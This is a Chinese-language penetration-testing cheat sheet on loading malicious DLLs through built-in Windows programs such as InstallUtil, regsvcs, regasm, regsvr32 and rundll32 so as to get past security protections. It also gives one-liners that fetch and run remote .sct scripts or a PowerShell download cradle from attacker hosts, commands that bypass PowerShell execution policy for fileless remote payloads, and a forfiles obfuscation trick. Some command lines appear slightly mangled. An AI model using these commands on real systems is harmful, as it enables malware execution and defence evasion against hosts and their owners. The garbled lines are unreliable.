[總結]加載 DLL 的多種方式

在滲透測試過程中，意圖使目標主機執行惡意 DLL ，達到一定的目的。但在這個過程中總是會遇到各種各種的安全防護，下面通過系統自帶的程序來繞過安全防護，加載我們自己想要執行的 DLL 文件：

#InstallUtil.exe
#x86
C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll
#x64
C:\Windows\Microsoft.NET\Framework64\v4.0.3031964\InstallUtil.exe /logfile= /LogToConsole=false /U AllTheThings.dll

#regsvcs.exe
#x86
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe AllTheThings.dll
#x64
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe AllTheThings.dll

#regasm.exe
#x86
C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe /U AllTheThings.dll
#x64
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe /U AllTheThings.dll

#regsvr32
#x86
regsvr32 /s /u AllTheThings.dll
#x64
regsvr32 /s AllTheThings.dll

#加載遠程腳本執行
regsvr32 /s /u /i:http://ip.xyz/file.sct scrobj.dll
regsvr32 /u /n /s /i:\\192.168.164.1\folder\payload.sct scrobj.dll

#rundll32
rundll32 AllTheThings.dll,EntryPoint
rundll32 javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://ip/payload.sct");window.close();
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://ip:port/');"
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";eval("w=new%20ActiveXObject(\"WScript.Shell\");w.run(\"calc\");window.close()");
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WScript.Shell").run("calc.exe",0,true);try{h.Send();b=h.ResponseText;eval(b);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}

順便再補充一下繞過 PowerShell 執行策略的命令：

#本地文件執行
powershell.exe -ExecutionPolicy bypass -File Payload.ps1
powershell.exe exec bypass -Command "& {Import-Module C:\Payload.ps1;Invoke-AllChecks}"

#遠程無文件執行
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.1/Payload.ps1");[payload的參數]  (去除方括號)

#如果本地的 powershell 命令參數進行了限制，還可以嘗試使用 ps_encoder.py 腳本將編碼轉為 base64 格式

forfiles /p %COMSPEC:~0,19% /s /c "@file -noe" /m po*l.*e